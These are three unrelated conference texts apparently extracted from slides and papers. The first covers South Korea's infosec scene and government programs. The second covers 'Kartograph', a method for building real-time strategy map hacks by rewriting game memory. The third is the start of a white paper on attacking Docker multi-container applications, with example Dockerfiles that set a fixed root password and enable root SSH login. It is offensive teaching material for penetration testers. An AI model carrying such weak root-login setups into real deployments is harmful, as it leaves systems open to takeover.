easy to get into governments Like NIS, Cyber command for examples Good GPA, Good schools required But they are making exceptions for skilled hackers Government KISA (Korea Internet & Security Agency) http://kisa.or.kr They do CERT (incident response or something like that) They encourage and support university school students They made KUCIS (Korea University Clubs of Information Security) and support university clubs Awards and money Government KISA (Korea Internet & Security Agency) KISA also gives motivations to hackers They run a bug bounty (since september 2012) I’m one of judges Every quarter Over 100 submits to this program Even middle/high school students submit bugs Government http://www.krcert.or.kr/kor/consult/consult_04.jsp Vulnerability report program Government KISA (Korea Internet & Security Agency) The maximum prize is about $5,000 per person Obviously not enough, but at least a good move And focused on korean software which no one would buy that means reasonable When they get reports from hackers and let vendors know Government KISA (Korea Internet & Security Agency) When hackers report to this program The credit goes to to them They can use their bugs as reference Only korean citizen can participate But if you team up with korean, yes you can Examination standard Impact, difficulty, report quality Government Cyber command We have Cyber command like in US They’re responsible Plan cyber wars Attack and defense in the cyber field Develop cyber security technique Bring up cyber warriors etc Government Cyber command In korea, we go to army for 2 years Spending 2 years at army is not easy for young guys Cyber command makes a way for them that they can be focused on information security or do cyber security That is huge welcome for people who do not want to be “real soldiers” Government Cyber command Also, they show the community a good move They try to make good relationship with hackers Like Jeff Moss named to advisory council for DHS They get hackers to their advisory council Thanks! I’m one of them. Government NCSC (National Cyber Security Center) It’s like Korea NSA (http://ncsc.go.kr) They run a bug bounty as well But the prize is small I’ve not seen anyone got over $2,000 from the program However, still interesting as the government is doing that Probably it’s a first case around the world Government BoB (Best of the best) http://www.kitribob.kr/ By ministry of Knowledge Economy and KITRI Training program for young guys to be security professional Very well organized program I’m one of mentors in BoB Government BoB (Best of the best) BoB started from since 2012 Last year, we made huge success Around 300 students applied to be 60 Students made good result Got media attention Even CNN Government BoB (Best of the best) As the success, the government decided to support more for this program More $$$ and +++ More bigger in 2013 About 500 students applied to be 120 Government BoB (Best of the best) 8 month course Survival program At the beginning: 60 students -> 120 After 6 month: 30 students Only 10 students selected at the end Government BoB (Best of the best) First 6 months Learning about information security from professionals Crypto, network, OS, hacking, ethics and ++ Projects with mentors And 2 months Advanced researches with mentors World popular hackers come to korea to teach students In 2012, Stefan Esser Government BoB (Best of the best) Students get paid monthly (For only learning!) And free laptops The 10 students will get around $17,000 each Also supported overseas study Collaboration Junior CTF It’s a hacking competition dedicated only for middle and high school students It’s a joint event by the government (ETRI), industry (Softforum), and the community (GrayHash) I and Mongii make challenges and run this competition Collaboration Junior CTF This is a nice chance for young students As if they won, the prize can be good reference when they get into colleges We’re planning to make this one more bigger and bigger Things to mention Cyber Law The cyber law in Korea is extremely strict If companies got hacked and it turned out that it was companies’ fault, they have to pay customers for damage Sounds a bit weird but true (victims pay?) Especially, personal information privacy law is strict too Things to mention Cyber law Cyber law is cruel for companies But we have to admit that because of the law, the information security field is growing very quickly As they have to spend money Things to mention Black-market Of course, we have script kiddies But, we don’t have any black-market or serious cyber criminal crew Don’t know why, but, I think the strict law is one of reasons Even reversing was illegal a few years ago Dark side Even though, information security field is very activated, this industry doesn’t give dream to everyone There are roughly 5 positions for engineers Monitoring Penetration testing Reversing or analyzing malware Hunting bugs Consulting Dark side Only skilled reverser and bug hunters get paid good Other positions, they work unbelievably hard 9 to 10 or longer But, payment is no good High-up guys still don’t understand security It’s hard to persuade them to know it Dark side Some people say it’s because there are too many infosec guys Also, monitoring job is easy and penetration testing (depends on) is not hard So, people just dive into the positions Where hackers want to work? I gave questions to over my 50 infosec friends Working outside of korea (but language barrier) Financial companies Governments (like NIS or Cyber command) Big companies (like SamSung) Known security firms (like Ahnlab) Small security firms Off topic I did a quick survey I gave some questions to young hackers in Korea What is your main interests in information security? If you like offensive research, what do you dig into? Is it easy to find people or community to get help? What do you want support from the government? Off topic What is your main interests in information security? Most people say Finding vulnerabilities Hardware hacking Exploiting technique Reverse engineering Off topic If you like offensive research, what do you dig into? Most people say Hunting bugs in popular software Web browsers, telecommunication protocols, web servers, ftp servers, etc Off topic Is it easy to find people or community to get help? Most people say ‘yes’ Even though there is a language barrier, there is a ton of translated documentations Local hackers also make good materials Remember, hackerschool.org even has manga-lectures And local meet-up like KOSEC is good to get help Off topic What do you want support from the government? They say the government support is getting better But they wish there was a program like CFT (Cyber Fast Track by DARPA) They want to get supported from their own research Conclusion Korea is probably most activated infosec country in East Asia But the language barrier is a huge problem How many korean hackers do you know? We need more skilled people and do some real world researches (Not just CTFs!) However, It’s going to be much better as the community, industry, academy and government are helping and collaborating each other Contact me if you have questions! Thanks! Big thanks to HITCON Crew Dan dai and taiwanese l33ts Greetz to HARU, hackerschool, korea university Give me questions [email protected]
pdf
Kartograph Elie Bursztein and Jocelyn Lagarenne Stanford University 1 Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Welcome to the real world Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 supernatural powers ! • Learn kungfu • Infinite money • Xray vision • god mode Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 God mode illustrated (video) Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Memory based attack Memory Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Memory based attack Memory Modification Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Memory based attack Memory Modification Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Benefits (fast and furious) • Generic • Fast • Invisible • Generic • Fast • Invisible Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 • Structure are hard to find • No control over the flow Drawbacks Game memory Structures Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Background Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game industry 273 Millions games sold in 2009 Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Action Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Action First person Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Action First person Sport Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Action First person Sport Role playing Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Action First person Sport Role playing Adventure Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Action First person Sport Role playing Adventure Strategy Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Game type Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Strategy account for 35% of the games sold in 2009 Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Units Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Building Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Resources Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Minimap Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Visible Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Fog of war Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Supreme commander 2 Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to cheat at a RTS ? Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to cheat at a RTS ? Resources Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to cheat at a RTS ? Resources units Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to cheat at a RTS ? Resources units map Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 What is a map hack Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 What is a map hack Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 There is no spoon Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Maphack Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to do a map hack Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to do a map hack Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to do a map hack Reduce Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to do a map hack Reduce Find Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to do a map hack Reduce Find Understand Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to do a map hack Reduce Find Understand Rewrite Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Acquiring game memory Game memory Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Acquiring game memory Game memory Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to reduce the search space Game memory Play Discover Play more Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to reduce the search space Game memory Play Discover Play more Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to reduce the search space Game memory Play Discover Play more Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to reduce the search space Game memory Play Discover Play more Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 How to reduce the search space Game memory Play Discover Play more Acquiring the game’s memory Step 1 Removing unrelated memory Step 2 Discovering the map and keeping relevant memory Step 3 Removing more unrelated memory Step 4 Finding the map in the remaining memory Working assumption Maps are stored in 2-D arrays Working assumption Maps are stored in 2-D arrays Step 5 Isolating the potential map In game In memory Step 6 Understanding the map’s structure Step 8 Rewriting the memory for fun and profit Unexpected effects Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Unit hacking Elie Bursztein Slide deck 2010 http://ly.tl/t1 Stay tuned for our next episode Will be available in the online version of the slides Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Kartograph Demo Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Ongoing work • Active attack (Network). • Defense (Multi-parties crypto) Jocelyn Lagarenne & Elie Bursztein Kartograph (cd version) http://ly.tl/t10 Questions • Active attack (Network). • Defense (Multi-parties crypto)
pdf
Wesley McGrew HORNECyber.com An Attacker Looks at Docker: Approaching Multi-Container Applications Wesley McGrew, Ph.D. Director of Cyber Operations HORNE Cyber [email protected] @mcgrewsecurity Wesley McGrew HORNECyber.com 1 An Attacker Looks at Docker: Approaching Multi-Container Applications TABLE OF CONTENTS Table of Contents Introduction Motivation Prior Work Attacking Application Internals Concept Malware Exploitation The Training Gap (Again) Containerization Concept Taking Advantage of the Abstraction Docker as a Target Application Platform EXAMPLE: Basic Exploration of Docker Container Applications Setup Exploring the Deployed Applications Network Controls Between Applications Implications for Attackers EXAMPLE: Post-Exploitation Inside Containers Motivation Identifying Network Information Loading Tools into Compromised Containers Exploiting the Outer Surface of a Multi-Container Application Introduction 1 3 3 4 5 5 5 5 6 6 6 6 7 8 8 11 13 14 15 15 15 16 18 18 Wesley McGrew HORNECyber.com 2 An Attacker Looks at Docker: Approaching Multi-Container Applications TABLE OF CONTENTS Value in Lab Environments Vulnerabilities Brought into and Carried Along in Containers EXAMPLE: Post-Exploitation of a Multi-Container Application Introduction Target Application Setup Attacker Setup Exploitation Identifying Containerization Exploring the Multi-Container Network Attacking the Application-Internal Database Server Conclusions Bibliography 19 19 20 20 21 24 25 26 26 31 34 35 Wesley McGrew HORNECyber.com The goal of this white paper, and its associated talk, is to provide a hacker experienced in exploitation and post- exploitation of networks of systems with an exposure to containerization and the implications it has on offensive operations. Docker is used as a concrete example for the case study. As a tool for enabling service-oriented architectural styles of development, the rise in popularity of using containers is relatively recent. While exploitation and manipulation of monolithic applications might require specialized experience and training in the target languages and execution environment, applications made up of modular services distributed amongst multiple containers can be effectively explored and exploited “from within” using many of the system- and network-level techniques in which attackers, such as penetration testers, are more commonly trained. A hacker can expect to leave this presentation with a practical exposure to multi-container application post-exploitation that is as lightweight in buzzwords as is possible with such a trendy topic among developers. Containerization, the decomposition of applications into multiple independent containers that interact with each other over standard protocols, is becoming a more common and popular way of building large-scale applications that deal with big data. Cloud-based container services and microservice architectures are commonly used for large-scale services that make use of personal identity data. The approach to hacking described in this work involves moving from attacking accessible interfaces of monolithic applications to leveraging vulnerabilities in components of multi-container microservice-based applications to explore the otherwise-inaccessible insides. Over the past decade and a half, attackers have embraced, used, and learned how to attack virtualization technologies to the point that the use of virtualization has become nearly muscle memory. The same adaptation will soon have to occur for containerization as more and more attractive targets and clients of penetration tests deploy large-scale applications that make use of Docker and similar platforms. INTRODUCTION 3 MOTIVATION An Attacker Looks at Docker: Approaching Multi-Container Applications Wesley McGrew HORNECyber.com 4 PRIOR WORK David Mortman presented a talk at DEF CON 23, Docker, Docker, Give Me the News, I Got a Bad Case of Securing You. Mortman’s talk provided an overview of Docker’s underlying implementation and architecture, current and planned security features, and presented advice for developers interested in taking positive action to make their containerized applications more secure[1]. Mortman linked to a Gotham Digital Science set of Docker Secure Deployment Guidelines that provides more guidance to those interested in development and deployment[2]. Also at DEF CON 23, Aaron Grattafiori went into even more detail on the Linux kernel’s capabilities for containerization and platforms (such as Docker) that are built to take advantage of those capabilities[3]. Grattafiori’s white paper, Understanding and Hardening Linux Containers, also provides interesting low-level security advice[4]. The Docker documentation also discusses security issues[16], and over time has addressed vulnerabilities described in some of the other prior works discussed here. While there are recommendations for more secure deployment of container-based and multi-container applications, there are two main points that attackers will need to keep in mind. First, unless a security measure or feature is on by default and does not represent an inconvenience, there will be a significant number of target application deployments that will not implement that feature. Second, application-level vulnerabilities may allow attackers into application-specific container networks, regardless of platform-level mitigations, meaning that attackers should remain very interested in post-exploitation tactics as applied to containers. In short, admirable progress has been made, but developers have yet to be saved from themselves. On the offense-oriented side of things, at Black Hat Europe 2015, Anthony Bettini presented Vulnerability Exploitation in Docker Containers, that focused on a set of vulnerabilities in the Docker platform itself[5]. At Black Hat USA 2017, Michael Cherney and Sagie Dulce presented a set of vulnerabilities in the Docker platform that targeted the development environments of workstations[6]. The majority of information found on Docker security either has a target audience of those that defend Docker deployments or involve specific vulnerabilities that can or have been patched or mitigated. This work intends to cater to an audience of attackers, including penetration testers, that are interested in the implications and mechanics of attacking multi-container applications. The focus is on exposure to the topic in a form (in terminology, approach, and style) useful to that audience, and the presentation of strategies and “tips” for how to approach larger-scale applications that are made up of containers. The concept and approach for this work is strongly influenced by HD Moore and Valsmith’s DEF CON 15 talk, Tactical Exploitation. That talk is an old favorite of this work’s author, and it had a significant impact on the way a lot of penetration testers approached their work[7]. An Attacker Looks at Docker: Approaching Multi-Container Applications Wesley McGrew HORNECyber.com 5 ATTACKING APPLICATION INTERNALS CONCEPT An attacker with complete control over a target application has the opportunity to turn code against itself. With the ability to execute individual functions and modules within the code, the attacker can access and edit data in a way that is consistent with the application. This is a convenience, reducing the need for the attacker to perform further analysis or reverse-engineering. MALWARE Outside of the realm of live attacks, this advantage can be seen in the analysis of malicious software, where analysts allow “packed” binaries to “unpack” themselves in the normal course of execution, before dumping the unpacked image in memory off to disk for analysis. Frequently, strings are encoded in a way that subverts basic static analysis. Rather than spend time in cryptanalysis of the encoded strings or in understanding the details of the algorithm, the analyst can often simply identify the decoder function and call it, in the same way as the malware, for each encoded string. A deeper understanding of the code may be unnecessary, if the code itself can be leveraged towards the end goal (in this case, of understanding an undocumented binary). EXPLOITATION In a live attack on an application, this same technique can be used. Attacks on binary, native-code applications often use return-oriented programming (ROP) as a matter of necessity when attacker-controlled memory is not marked as executable. This exploitation technique can be used to string together segments of executable code already existing in the memory of the target application to achieve a goal, such as the elevation of privilege for an application user, or the execution of a shell[8]. It has been shown that this technique often results in a wide enough variety of code “gadgets” to allow for Turing-complete execution. Even if the advantages of a fully-featured execution environment are not possible or taken advantage of by an attacker, it can be straightforward to call functions in the target application to accomplish the attacker’s goal without a traditional “shell pop” [9]. Application security experts are more likely to identify creative ways of exploiting the internals of applications than those tasked with the tactical exploitation of networks and systems. Penetration testers are typically trained to be “users” of exploits, rather than developers, and are therefore limited in their ability to move around within applications using the methods discussed so far. “Creative” control over execution within a monolithic binary application is rarely exercised in the context of attacks carried out in the context of penetration testing. An Attacker Looks at Docker: Approaching Multi-Container Applications Wesley McGrew HORNECyber.com 6 THE TRAINING GAP (AGAIN) In the author’s previous work reviewing penetration testing training material, for the purpose of identifying the presence or absence of OPSEC material, it was noted that binary exploitation training in penetration testing books and training is primarily introductory and conceptual in nature[10]. The techniques taught are useful in giving penetration testers the background necessary to have a basic understanding of exploits they use from third-party sources, such as those provided in frameworks like Metasploit or found on sites like Exploit-DB. Most sources focus on basic stack-overflow techniques targeting the most straightforward vulnerabilities in older applications running on operating systems lacking modern exploit mitigations (or that have such mitigations disabled). This training is not sufficient to give most penetration testers the ability to write their own exploits or payloads that target modern applications on modern operating systems. Motivated, funded, and organized attackers are more likely to have “in-house” talent for developing exploits and payloads that are specific to their mission. A payload that calls target application functions to extract and exfiltrate data is more likely to evade detection and accomplish its goal with less live interaction than a general-purpose “back door” (such as Meterpreter). This is behavior more closely associated with nation-state and criminal threat actors than with typical penetration testers. CONTAINERIZATION CONCEPT Containerization technology like Docker allows for the design of applications that are composed of many independent single-purpose services, each with a minimal set of supporting system software and libraries[11]. Each service represents a node on a network that has been created specifically for the application’s use. What would normally be a call to a local function or a linked library might now be implemented as a communication across a network, with a standard protocol, to another host[12]. Applications that have been developed using a Service-Oriented Architecture or microservice approach democratize post-exploitation manipulation and instrumentation of the application. With monolithic applications, specialist knowledge of the target application’s programming language, or its application binary interface, is needed to successfully explore and instrument the application during post-exploitation. That is the domain of application security and exploit development experts. In contrast, applications made up of multiple independent containers communicating over standard networking protocols can be easily understood and manipulated by attackers, such as penetration testers, that are trained in tactical exploitation of networked systems. TAKING ADVANTAGE OF THE ABSTRACTION A typical attack, or penetration test, on a target organization can often be described as a progression of connected systems that have been compromised by exploits against vulnerable services running on those systems. Each compromised system may lead to that system being used in the identification and exploitation of subsequent systems. An Attacker Looks at Docker: Approaching Multi-Container Applications Wesley McGrew HORNECyber.com 7 The additional layer of abstraction present in an application made up of independent containers is a boon for attackers not specifically trained in-depth on application security. Where such an attacker would otherwise be limited to treating each application or service on target hosts as a black box into which pre-made exploits are launched, a containerized, SOA/microservice application allows for an exploit of an external-facing surface to act as a looking glass into a wholly separate network of targets with which to interact. Exploits for the attack surface of a multi-container application will exploit software running within a specific container of the application. The exploit will likely take advantage of a web application vulnerability or memory corruption bug in the same way as it would against a normal host running the same vulnerable application. Once exploitation is successful, however, the attacker now has access to a system that is connected to an internal network of systems and services that make up the rest of the multi-container application. Traditional attack/ penetration-testing tools, tactics, and procedures that are normally used against internal target networks can then be leveraged, with small modification, to explore and exploit the internals of an application. The abstraction that allows for loose coupling of independent application components now serves as a useful abstraction for attackers otherwise unfamiliar with application security analysis. DOCKER AS A TARGET APPLICATION PLATFORM Docker applications may be monolithic or consist of multiple containers. Monolithic applications can take advantage of Docker’s features that allow images to easily define and implement all of the necessary dependencies needed for a specific application (in isolation of potential conflicts with other applications), and by simplifying and standardizing the installation process. Applications such as GitLab are available as Docker images, and can be deployed into a single container that comprise the entirety of the application. Attacking a monolithic container application will work in a similar way as attacking a traditional host operating system based installation of the same application, and code execution will give similar access to the container’s environment. Exploitation will be limited to that environment and not necessarily lead to exploitation of the container’s host. Even monolithic container applications may provide an attacker with more post-exploitation opportunities than an attacker might see on a traditional network. By default (if networks are not specifically configured otherwise), Docker will place multiple containers on the same private network “behind” the host, regardless of the applications’ dependence (or lack of dependence) on each other. While you must specify which container ports are exposed to the outside world through the host, each of those containers on the host may talk to each other freely in the default configuration. An Attacker Looks at Docker: Approaching Multi-Container Applications Wesley McGrew HORNECyber.com 8 EXAMPLE: BASIC EXPLORATION OF DOCKER CONTAINER APPLICATIONS SETUP We can demonstrate this easily using one of the Docker documentation’s sample applications, an SSH service[13]. The Dockerfile for the first image in this example takes the following actions: • Starts with a bare bones Ubuntu base image • Installs and configures an OpenSSH server • Changes the root password to “screencast” • Sets the SSH port (TCP 22) as a port to be exposed • Sets the OpenSSH server to run when a container is launched FROM ubuntu:16.04 RUN apt-get update && apt-get install -y openssh-server RUN mkdir /var/run/sshd RUN echo ‘root:screencast’ | chpasswd RUN sed -i ‘s/PermitRootLogin prohibit-password/PermitRootLogin yes/’ /etc/ ssh/sshd_config # SSH login fix. Otherwise user is kicked off after login RUN sed ‘s@session\s*required\s*pam_loginuid.so@session optional pam_ loginuid.so@g’ -i /etc/pam.d/sshd ENV NOTVISIBLE “in users profile” RUN echo “export VISIBLE=now” >> /etc/profile EXPOSE 22 CMD [“/usr/sbin/sshd”, “-D”] The second Dockerfile is nearly identical, but does not expose port 22: FROM ubuntu:16.04 RUN apt-get update && apt-get install -y openssh-server RUN mkdir /var/run/sshd RUN echo ‘root:screencast’ | chpasswd RUN sed -i ‘s/PermitRootLogin prohibit-password/PermitRootLogin yes/’ /etc/ ssh/sshd_config An Attacker Looks at Docker: Approaching Multi-Container Applications Wesley McGrew HORNECyber.com 9 # SSH login fix. Otherwise user is kicked off after login RUN sed ‘s@session\s*required\s*pam_loginuid.so@session optional pam_ loginuid.so@g’ -i /etc/pam.d/sshd ENV NOTVISIBLE “in users profile” RUN echo “export VISIBLE=now” >> /etc/profile CMD [“/usr/sbin/sshd”, “-D”] We can create the first image with the following command: wes@br:~/demo/monolithic_2_monolithic$ docker build -t eg_sshd . Sending build context to Docker daemon 2.048kB Step 1/10 : FROM ubuntu:16.04 ---> 0458a4468cbc Step 2/10 : RUN apt-get update && apt-get install -y openssh-server ---> Running in 62b0659c4a66 <SNIP APT OUTPUT> Removing intermediate container 62b0659c4a66 ---> 5e1ad23ebbc8 Step 3/10 : RUN mkdir /var/run/sshd ---> Running in 74cff07613f0 Removing intermediate container 74cff07613f0 ---> 7d20d0487e9e Step 4/10 : RUN echo ‘root:screencast’ | chpasswd ---> Running in b84c918ff6de Removing intermediate container b84c918ff6de ---> 61a073996646 Step 5/10 : RUN sed -i ‘s/PermitRootLogin prohibit-password/PermitRootLogin yes/’ /etc/ssh/sshd_config ---> Running in febe1ee0c4eb Removing intermediate container febe1ee0c4eb ---> bdef11083afd Step 6/10 : RUN sed ‘s@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g’ -i /etc/pam.d/sshd ---> Running in 5bc4be53d264 Removing intermediate container 5bc4be53d264 ---> c6e0d8733582 Step 7/10 : ENV NOTVISIBLE “in users profile” ---> Running in a342d7254846 Removing intermediate container a342d7254846 ---> d14333341155 An Attacker Looks at Docker: Approaching Multi-Container Applications Wesley McGrew HORNECyber.com Step 8/10 : RUN echo “export VISIBLE=now” >> /etc/profile ---> Running in 5bf0934dd8b8 Removing intermediate container 5bf0934dd8b8 ---> 38bc2b2faac1 Step 9/10 : EXPOSE 22 ---> Running in 5894553e85d7 Removing intermediate container 5894553e85d7 ---> 1bca3361a88d Step 10/10 : CMD [“/usr/sbin/sshd”, “-D”] ---> Running in 13d3dcb7aab2 Removing intermediate container 13d3dcb7aab2 ---> 58fbacae6bbd Successfully built 58fbacae6bbd Successfully tagged eg_sshd:latest The second image is then created: wes@br:~/demo/monolithic_2_monolithic/ssh2$ docker build -t eg_sshd_noport . Sending build context to Docker daemon 2.048kB Step 1/9 : FROM ubuntu:16.04 ---> 0458a4468cbc Step 2/9 : RUN apt-get update && apt-get install -y openssh-server ---> Using cache ---> 5e1ad23ebbc8 Step 3/9 : RUN mkdir /var/run/sshd ---> Using cache ---> 7d20d0487e9e Step 4/9 : RUN echo ‘root:screencast’ | chpasswd ---> Using cache ---> 61a073996646 Step 5/9 : RUN sed -i ‘s/PermitRootLogin prohibit-password/PermitRootLogin yes/’ /etc/ssh/sshd_config ---> Using cache ---> bdef11083afd Step 6/9 : RUN sed ‘s@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g’ -i /etc/pam.d/sshd ---> Using cache ---> c6e0d8733582 Step 7/9 : ENV NOTVISIBLE “in users profile” ---> Using cache ---> d14333341155 Step 8/9 : RUN echo “export VISIBLE=now” >> /etc/profile ---> Using cache 10 An Attacker Looks at Docker: Approaching Multi-Container Applications Wesley McGrew HORNECyber.com ---> 38bc2b2faac1 Step 9/9 : CMD [“/usr/sbin/sshd”, “-D”] ---> Running in ae56588d210a Removing intermediate container ae56588d210a ---> 01f5762d52fa Successfully built 01f5762d52fa Successfully tagged eg_sshd_noport:latest Given these images, eg_sshd and eg_sshd_noport, we can now launch two containers, test_sshd_1 and test_sshd_2. For test_sshd_1, we will pass the -P flag in order to forward the exposed TCP port 22 to the host. For test_sshd_2, we will not pass that flag. wes@br:~/demo/monolithic_2_monolithic/ssh2$ docker run -d -P --name test_ sshd_1 eg_sshd 819e5ea650079c67395d5b79b4fb095d474c284ca09313a3bc217d927cf55bcf wes@br:~/demo/monolithic_2_monolithic/ssh2$ docker run -d --name test_sshd_2 eg_sshd_noport 2853974e9b1cccc23b35d05950362c96302850bd0b103ccfce57687eb2cf9894 EXPLORING THE DEPLOYED APPLICATIONS We can now inspect the Docker “bridge” network to identify the IP addresses of the connected containers, as well as identify the port on the host that is being forwarded to the test_sshd_1 container. wes@br:~/demo/monolithic_2_monolithic/ssh2$ docker network inspect bridge [ { “Name”: “bridge”, “Id”: “af1c7273b7bb03d2a793687eec808563af9acfeaf0400d012f698d3cb91f1ea2”, “Created”: “2018-01-16T11:54:59.127840123-06:00”, “Scope”: “local”, “Driver”: “bridge”, “EnableIPv6”: false, “IPAM”: { “Driver”: “default”, “Options”: null, “Config”: [ { “Subnet”: “172.17.0.0/16”, “Gateway”: “172.17.0.1” } ] 11 An Attacker Looks at Docker: Approaching Multi-Container Applications Wesley McGrew HORNECyber.com 12 An Attacker Looks at Docker: Approaching Multi-Container Applications }, “Internal”: false, “Attachable”: false, “Ingress”: false, “ConfigFrom”: { “Network”: “” }, “ConfigOnly”: false, “Containers”: { “2853974e9b1cccc23b35d05950362c96302850bd0b103ccfce57687eb2cf9894”: { “Name”: “test_sshd_2”, “EndpointID”: “b42b28e23d20c3151b5c9ef446af4c0a08ea2283f5370b2e98ed092f8fb4546c”, “MacAddress”: “02:42:ac:11:00:03”, “IPv4Address”: “172.17.0.3/16”, “IPv6Address”: “” }, “819e5ea650079c67395d5b79b4fb095d474c284ca09313a3bc217d927cf55bcf”: { “Name”: “test_sshd_1”, “EndpointID”: “94c4f6fe1f4266370020b2f5f3bf94f8710ab1947079c701eea199206cdd6664”, “MacAddress”: “02:42:ac:11:00:02”, “IPv4Address”: “172.17.0.2/16”, “IPv6Address”: “” } }, “Options”: { “com.docker.network.bridge.default_bridge”: “true”, “com.docker.network.bridge.enable_icc”: “true”, “com.docker.network.bridge.enable_ip_masquerade”: “true”, “com.docker.network.bridge.host_binding_ipv4”: “0.0.0.0”, “com.docker.network.bridge.name”: “docker0”, “com.docker.network.driver.mtu”: “1500” }, “Labels”: {} } ] wes@br:~/demo/monolithic_2_monolithic/ssh2$ docker port test_sshd_1 22/tcp -> 0.0.0.0:32770 Wesley McGrew HORNECyber.com 13 An Attacker Looks at Docker: Approaching Multi-Container Applications From the above output, the important points are: • test_sshd_1 has IP address 172.17.0.2 • The SSH server on TCP port 22 of test_sshd_1 has been forwarded to the host TCP port 32770 • test_sshd_2 has IP address 172.17.0.3 (Identifying this information from within a container without access to the host docker commands will be addressed later in this white paper.) We can ssh into the exposed port via the forward: wes@br:~/demo/monolithic_2_monolithic/ssh2$ ssh root@localhost -p 32770 The authenticity of host ‘[localhost]:32770 ([127.0.0.1]:32770)’ can’t be established. ECDSA key fingerprint is SHA256:LnUsdSckdnrFTt2QXKWsZmTABKr3sTE5oRelOvoJKSk. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added ‘[localhost]:32770’ (ECDSA) to the list of known hosts. root@localhost’s password: Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-25-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@819e5ea65007:~# NETWORK CONTROLS BETWEEN APPLICATIONS This port is forwarded outside of the local host too. Other hosts that can see the Docker container host can also log into the container through this port. The test_sshd_2 container can be logged into from the host as well, through its bridge network IP address and the non-forwarded port: wes@br:~/demo/monolithic_2_monolithic/ssh2$ ssh [email protected] The authenticity of host ‘172.17.0.3 (172.17.0.3)’ can’t be established. ECDSA key fingerprint is SHA256:LnUsdSckdnrFTt2QXKWsZmTABKr3sTE5oRelOvoJKSk. Are you sure you want to continue connecting (yes/no)? yes Wesley McGrew HORNECyber.com 14 An Attacker Looks at Docker: Approaching Multi-Container Applications Warning: Permanently added ‘172.17.0.3’ (ECDSA) to the list of known hosts. [email protected]’s password: Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-25-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Last login: Sat Jan 27 21:23:42 2018 from 172.17.0.1 root@2853974e9b1c:~# A host external to the Docker host, however, has 